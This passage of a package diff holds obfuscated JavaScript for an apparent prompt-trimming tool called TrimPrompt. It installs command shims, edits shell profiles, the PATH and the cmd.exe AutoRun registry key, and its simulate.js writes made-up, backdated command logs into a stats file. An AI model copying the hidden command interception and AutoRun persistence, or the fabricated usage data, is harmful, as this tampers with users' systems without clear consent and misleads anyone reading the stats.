','.profile','map','yarn','win32',';=%\x22','execFileSync','__setModuleDefault','1660626NjoYrc','read','\x20\x20set\x20\x22PATH=%PATH:','.trimprompt','join','\x20&\x20','split','kubectl','pipe','existsSync','message','shims',':$PATH\x22\x0a','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','configurable','\x22\x20set\x20\x22PATH=','\x20%*','uninstallShims','.zshrc','ruff','utf8','pwsh','readFileSync','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','190zUnQSU','\x20-NoProfile\x20-Command\x20\x22','writeFileSync','pip3','@echo\x20off','homedir','trim','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','trim.cmd','grep','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','$PROFILE.CurrentUserCurrentHost','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','includes','defineProperty','\x20commands.\x0a\x0a','getOwnPropertyNames','appendFileSync','some','Set-ItemProperty\x20-Path\x20\x27','powershell','206968UyeDFT',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'];a0_0x588f=function(){return _0x17066c;};return a0_0x588f();}function getBashProfilesWindows(){const _0x25ddca=a0_0x6b55f3,_0x46d809=os[_0x25ddca(0x1b8)]();return[_0x25ddca(0x163),_0x25ddca(0x16d)][_0x25ddca(0x195)](_0x384c1f=>path['join'](_0x46d809,_0x384c1f));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x48c93f=a0_0x6b55f3,_0x56da90=path[_0x48c93f(0x19f)](os[_0x48c93f(0x1b8)](),_0x48c93f(0x19e),_0x48c93f(0x1a6));try{!fs[_0x48c93f(0x1a4)](_0x56da90)&&fs[_0x48c93f(0x178)](_0x56da90,{'recursive':!![]});const _0xb34ee6=os[_0x48c93f(0x15f)]()===_0x48c93f(0x197);for(const _0x295761 of SHIMMED_COMMANDS){if(_0xb34ee6){const _0x3c6e66=path['join'](_0x56da90,_0x295761+'.cmd'),_0x25ee59=process.env.APPDATA?path[_0x48c93f(0x19f)](process.env.APPDATA,_0x48c93f(0x16c)):'',_0x3d70ad=_0x25ee59?_0x48c93f(0x152)+path[_0x48c93f(0x19f)](_0x25ee59,_0x48c93f(0x1bb))+'\x22':_0x48c93f(0x189),_0xf9c6b7=[_0x48c93f(0x1b7),_0x3d70ad+'\x20(','\x20\x20trim\x20'+_0x295761+'\x20%*',')\x20else\x20(',_0x48c93f(0x19d)+_0x56da90+_0x48c93f(0x198),'\x20\x20'+_0x295761+_0x48c93f(0x1ab),')'][_0x48c93f(0x19f)]('\x0d\x0a')+'\x0d\x0a';fs[_0x48c93f(0x1b5)](_0x3c6e66,_0xf9c6b7,_0x48c93f(0x1af));const _0x3e38f7=path['join'](_0x56da90,_0x295761+_0x48c93f(0x171)),_0x1941ba=_0x48c93f(0x193)+_0x295761+_0x48c93f(0x17c)+_0x295761+'\x20@args\x20}\x0a';fs[_0x48c93f(0x1b5)](_0x3e38f7,_0x1941ba,_0x48c93f(0x1af));const _0x1ef6b9=path['join'](_0x56da90,_0x295761),_0x391a0c=_0x56da90[_0x48c93f(0x167)](/\\/g,'/')[_0x48c93f(0x167)](/^([A-Za-z]):/,(_0x13e04a,_0x458a54)=>'/'+_0x458a54[_0x48c93f(0x183)]()),_0x11589f='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x295761+_0x48c93f(0x175)+_0x391a0c+_0x48c93f(0x150)+_0x295761+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x48c93f(0x1b5)](_0x1ef6b9,_0x11589f,'utf8');}else{const _0x12157f=path[_0x48c93f(0x19f)](_0x56da90,_0x295761),_0x2dc73b=_0x48c93f(0x1bd)+_0x295761+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x295761+_0x48c93f(0x151);fs[_0x48c93f(0x1b5)](_0x12157f,_0x2dc73b,_0x48c93f(0x1af)),fs[_0x48c93f(0x188)](_0x12157f,_0x48c93f(0x18d));}}let _0x3aee66=![],_0x3903f3='';if(_0xb34ee6)try{const _0x1a81df=getExecSync(),_0x592703=_0x48c93f(0x15a)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x56da90+_0x48c93f(0x181),_0xb5911a=collectPowerShellProfiles();for(const _0xd8fb34 of _0xb5911a){ensureProfileContains(_0xd8fb34,_0x56da90,_0x592703);}try{const _0x57d123=getExecFileSync(),_0x481016='if\x20exist\x20\x22'+_0x56da90+_0x48c93f(0x1aa)+_0x56da90+';%PATH%\x22',_0x5e33f7='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x448f49='';try{const _0x15d98e=_0x48c93f(0x16b)+_0x5e33f7+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x448f49=_0x57d123(_0x48c93f(0x173),['-NoProfile',_0x48c93f(0x159),_0x15d98e],{'encoding':_0x48c93f(0x1af),'stdio':['pipe',_0x48c93f(0x1a3),_0x48c93f(0x15c)]})[_0x48c93f(0x1b9)]();}catch{}if(!_0x448f49[_0x48c93f(0x1c0)](_0x56da90)){const _0xc74652=_0x448f49?_0x448f49+_0x48c93f(0x1a0)+_0x481016:_0x481016,_0x569bd8=_0x48c93f(0x164)+_0x5e33f7+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x5e33f7+_0x48c93f(0x160)+_0xc74652+'\x27';_0x57d123(_0x48c93f(0x173),[_0x48c93f(0x18f),_0x48c93f(0x159),_0x569bd8],{'stdio':_0x48c93f(0x15c)});}}catch{}try{const _0x32a997=_0x56da90['replace'](/\\/g,'/')[_0x48c93f(0x167)](/^([A-Za-z]):/,(_0x4a15b9,_0x411a3e)=>'/'+_0x411a3e[_0x48c93f(0x183)]()),_0x588b43=_0x48c93f(0x15a)+PROFILE_MARKER+_0x48c93f(0x186)+_0x32a997+_0x48c93f(0x1a7),_0x43ae67=getBashProfilesWindows();let _0x188a93=![];for(const _0xd31d5 of _0x43ae67){fs['existsSync'](_0xd31d5)&&(ensureProfileContains(_0xd31d5,_0x32a997,_0x588b43),_0x188a93=!![]);}!_0x188a93&&ensureProfileContains(_0x43ae67[0x0],_0x32a997,_0x588b43);}catch{}const _0x2bc2b1=_0x48c93f(0x1ba),_0x44de82=_0x1a81df(_0x48c93f(0x17f)+_0x2bc2b1+'\x22',{'encoding':'utf8','stdio':[_0x48c93f(0x1a3),_0x48c93f(0x1a3),'ignore']})[_0x48c93f(0x1b9)]();if(!_0x44de82[_0x48c93f(0x1c0)](_0x56da90)){const _0x3eff85=_0x56da90+';'+_0x44de82,_0x5e6432=_0x3eff85[_0x48c93f(0x167)](/'/g,'\x27\x27'),_0x54eb7b=_0x48c93f(0x166)+_0x5e6432+_0x48c93f(0x187);_0x1a81df('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x54eb7b+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x212b18=path['join'](process.env.APPDATA||'',_0x48c93f(0x16c),_0x48c93f(0x17a));if(fs['existsSync'](_0x212b18))try{fs[_0x48c93f(0x18c)](_0x212b18);}catch{}_0x3aee66=!![];}catch(_0x430920){_0x3903f3=_0x48c93f(0x16a)+_0x56da90;}else try{const _0x36b58d='export\x20PATH=\x22'+_0x56da90+':$PATH\x22\x0a',_0x5af313=os[_0x48c93f(0x1b8)](),_0x5afb5c=[_0x48c93f(0x163),_0x48c93f(0x1ad),_0x48c93f(0x16d),_0x48c93f(0x194)];let _0x288e6a=![];for(const _0x24a2ef of _0x5afb5c){const _0x4710eb=path[_0x48c93f(0x19f)](_0x5af313,_0x24a2ef);fs[_0x48c93f(0x1a4)](_0x4710eb)&&(ensureProfileContains(_0x4710eb,_0x56da90,_0x48c93f(0x15a)+PROFILE_MARKER+'\x0a'+_0x36b58d),_0x288e6a=!![]);}if(!_0x288e6a){const _0x1c2dcd=path['join'](_0x5af313,_0x48c93f(0x163));ensureProfileContains(_0x1c2dcd,_0x56da90,_0x48c93f(0x15a)+PROFILE_MARKER+'\x0a'+_0x36b58d);}_0x3aee66=!![];}catch(_0x21cb8b){_0x3903f3=_0x48c93f(0x1bf)+_0x56da90+':$PATH\x22';}const _0x352df0=_0x48c93f(0x158)+SHIMMED_COMMANDS['length']+_0x48c93f(0x1c2),_0x25f984=_0x3aee66?_0x352df0+_0x48c93f(0x156):_0x352df0+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x3903f3;return{'success':!![],'pathDir':_0x56da90,'message':_0x25f984};}catch(_0x1799de){return{'success':![],'pathDir':_0x56da90,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x1799de['message']};}}function uninstallShims(){const _0x4bd2c0=a0_0x6b55f3,_0x42cdaf=path[_0x4bd2c0(0x19f)](os[_0x4bd2c0(0x1b8)](),_0x4bd2c0(0x19e),_0x4bd2c0(0x1a6)),_0x430707=os['platform']()===_0x4bd2c0(0x197);try{if(_0x430707){const _0x4f5dff=getExecSync();try{const _0x30ec3f=getExecFileSync(),_0x5bfe34=_0x4bd2c0(0x18e),_0x2f8d2c=_0x4bd2c0(0x16b)+_0x5bfe34+_0x4bd2c0(0x1a8),_0x1728e4=_0x30ec3f(_0x4bd2c0(0x173),[_0x4bd2c0(0x18f),_0x4bd2c0(0x159),_0x2f8d2c],{'encoding':_0x4bd2c0(0x1af),'stdio':[_0x4bd2c0(0x1a3),'pipe',_0x4bd2c0(0x15c)]})['trim']();if(_0x1728e4['includes'](_0x42cdaf)){const _0x1d53e9=_0x1728e4[_0x4bd2c0(0x1a1)](_0x4bd2c0(0x1a0))[_0x4bd2c0(0x18a)](_0x508288=>!_0x508288[_0x4bd2c0(0x1c0)](_0x42cdaf));if(_0x1d53e9[_0x4bd2c0(0x179)]===0x0){const _0x32fa9d=_0x4bd2c0(0x162)+_0x5bfe34+_0x4bd2c0(0x1b2);_0x30ec3f(_0x4bd2c0(0x173),['-NoProfile',_0x4bd2c0(0x159),_0x32fa9d],{'stdio':_0x4bd2c0(0x15c)});}else{const _0x4acfb0=_0x1d53e9[_0x4bd2c0(0x19f)]('\x20&\x20'),_0x21c57c=_0x4bd2c0(0x14d)+_0x5bfe34+_0x4bd2c0(0x160)+_0x4acfb0+'\x27';_0x30ec3f(_0x4bd2c0(0x173),['-NoProfile',_0x4bd2c0(0x159),_0x21c57c],{'stdio':'ignore'});}}}catch{}try{const _0x1ad219=collectPowerShellProfiles();for(const _0x2a3a6c of _0x1ad219){removeProfileBlock(_0x2a3a6c,PROFILE_MARKER);}}catch{}try{for(const _0x32afc5 of getBashProfilesWindows()){removeProfileBlock(_0x32afc5,PROFILE_MARKER);}}catch{}try{const _0x47b32c=_0x4bd2c0(0x1ba),_0x3a974b=_0x4f5dff(_0x4bd2c0(0x17f)+_0x47b32c+'\x22',{'encoding':'utf8','stdio':[_0x4bd2c0(0x1a3),_0x4bd2c0(0x1a3),_0x4bd2c0(0x15c)]})[_0x4bd2c0(0x1b9)]();if(_0x3a974b[_0x4bd2c0(0x1c0)](_0x42cdaf)){const _0x50fa51=_0x3a974b[_0x4bd2c0(0x1a1)](';')['filter'](_0x1dd31e=>_0x1dd31e[_0x4bd2c0(0x1b9)]()[_0x4bd2c0(0x183)]()!==_0x42cdaf[_0x4bd2c0(0x183)]())[_0x4bd2c0(0x19f)](';'),_0x427577=_0x50fa51[_0x4bd2c0(0x167)](/'/g,'\x27\x27'),_0x12e8e5=_0x4bd2c0(0x166)+_0x427577+_0x4bd2c0(0x187);_0x4f5dff(_0x4bd2c0(0x17f)+_0x12e8e5+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}}catch{}}else{const _0x4affbf=os[_0x4bd2c0(0x1b8)](),_0x5b8932=[_0x4bd2c0(0x163),_0x4bd2c0(0x1ad),_0x4bd2c0(0x16d),'.profile'];for(const _0x5c48b6 of _0x5b8932){removeProfileBlock(path[_0x4bd2c0(0x19f)](_0x4affbf,_0x5c48b6),PROFILE_MARKER);}}if(fs['existsSync'](_0x42cdaf)){const _0x2456be=fs[_0x4bd2c0(0x192)](_0x42cdaf);for(const _0x1dcc3d of _0x2456be){fs['unlinkSync'](path[_0x4bd2c0(0x19f)](_0x42cdaf,_0x1dcc3d));}fs[_0x4bd2c0(0x168)](_0x42cdaf);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x3e7b07){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x3e7b07[_0x4bd2c0(0x1a5)]};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x19a194=a0_0x4e73;(function(_0x39e604,_0x361cb6){const _0x2986c2=a0_0x4e73,_0xc85925=_0x39e604();while(!![]){try{const _0x17d736=parseInt(_0x2986c2(0x11b))/0x1*(-parseInt(_0x2986c2(0x124))/0x2)+-parseInt(_0x2986c2(0x116))/0x3*(parseInt(_0x2986c2(0xed))/0x4)+parseInt(_0x2986c2(0x106))/0x5*(parseInt(_0x2986c2(0x120))/0x6)+-parseInt(_0x2986c2(0x11a))/0x7+-parseInt(_0x2986c2(0x123))/0x8*(-parseInt(_0x2986c2(0x11c))/0x9)+parseInt(_0x2986c2(0x117))/0xa+parseInt(_0x2986c2(0xf6))/0xb;if(_0x17d736===_0x361cb6)break;else _0xc85925['push'](_0xc85925['shift']());}catch(_0x39cf68){_0xc85925['push'](_0xc85925['shift']());}}}(a0_0x24bc,0xaac1c));Object['defineProperty'](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x19a194(0xf2));console[a0_0x19a194(0x11d)](a0_0x19a194(0xff));function a0_0x4e73(_0x39d400,_0x3a48c7){_0x39d400=_0x39d400-0xe9;const _0x24bc46=a0_0x24bc();let _0x4e7337=_0x24bc46[_0x39d400];return _0x4e7337;}const models=[a0_0x19a194(0xf1),a0_0x19a194(0xfa),'gpt-4o-mini',a0_0x19a194(0x100),a0_0x19a194(0xf4),a0_0x19a194(0x108)],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x19a194(0x109)[a0_0x19a194(0xef)](0x32),'comp':a0_0x19a194(0x121),'exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x19a194(0xe9)+a0_0x19a194(0xf7)[a0_0x19a194(0xef)](0x28)+'\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','comp':a0_0x19a194(0x105),'exitCode':0x0},{'cmd':a0_0x19a194(0x107),'raw':a0_0x19a194(0x119)+a0_0x19a194(0x10e)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x19a194(0xf3),'exitCode':0x0},{'cmd':a0_0x19a194(0xee),'raw':a0_0x19a194(0x111)+a0_0x19a194(0x10c)+a0_0x19a194(0xf5)+a0_0x19a194(0x110),'comp':'aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','exitCode':0x0},{'cmd':a0_0x19a194(0xec),'raw':a0_0x19a194(0x114)+a0_0x19a194(0x118)+a0_0x19a194(0x10b)+a0_0x19a194(0x103)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x19a194(0xfd),'exitCode':0x0},{'cmd':a0_0x19a194(0x112),'raw':a0_0x19a194(0x102)+a0_0x19a194(0x125)+a0_0x19a194(0x104),'comp':'pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','exitCode':0x0},{'cmd':a0_0x19a194(0xeb),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x19a194(0x128),'comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0x19a194(0x115),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x19a194(0x113)+a0_0x19a194(0x10a),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x19a194(0x10f)]()-0x36ee80;function a0_0x24bc(){const _0x2e8eda=['now','Completed\x203\x20of\x203\x20assets\x20successfully.','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','npm\x20run\x20lint','4105236kndPmP','9695750urhDHJ','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','717654BcpxHi','9339RMrSoF','9qlxXkS','log','comp','path','81186dbbbHI','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode','8240952QNisbQ','80Pknyrj','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','length','floor','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','random','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','logExecution','git\x20log\x20-n\x205','kubectl\x20get\x20pods\x20-n\x20production','4WxDuGr','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','repeat','tracker','claude-3-5-sonnet','./tracker','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','gemini-1-5-flash','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','1372349zEAsyf','test\x20tests::test_case_','toISOString','getLogs','gpt-4o','utf8','writeFileSync','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','cmd','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','gemini-1-5-pro','stats.json','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','155IicDGj','npm\x20install\x20lodash\x20express\x20uuid\x20react','claude-3-opus','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','stringify','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'];a0_0x24bc=function(){return _0x2e8eda;};return a0_0x24bc();}for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x19a194(0x127)](Math[a0_0x19a194(0x129)]()*commands[a0_0x19a194(0x126)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x19a194(0xf8)](),log=tracker_1[a0_0x19a194(0xf0)][a0_0x19a194(0xea)](commandItem[a0_0x19a194(0xfe)],commandItem['raw'],commandItem[a0_0x19a194(0x11e)],commandItem[a0_0x19a194(0x122)]),logs=tracker_1['tracker'][a0_0x19a194(0xf9)]();logs['length']>0x0&&(logs[logs[a0_0x19a194(0x126)]-0x1]['timestamp']=timestamp,require('fs')[a0_0x19a194(0xfc)](require(a0_0x19a194(0x11f))['join'](require('os')['homedir'](),'.trimprompt',a0_0x19a194(0x101)),JSON[a0_0x19a194(0x10d)](logs,null,0x2),a0_0x19a194(0xfb)));}console[a0_0x19a194(0x11d)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
|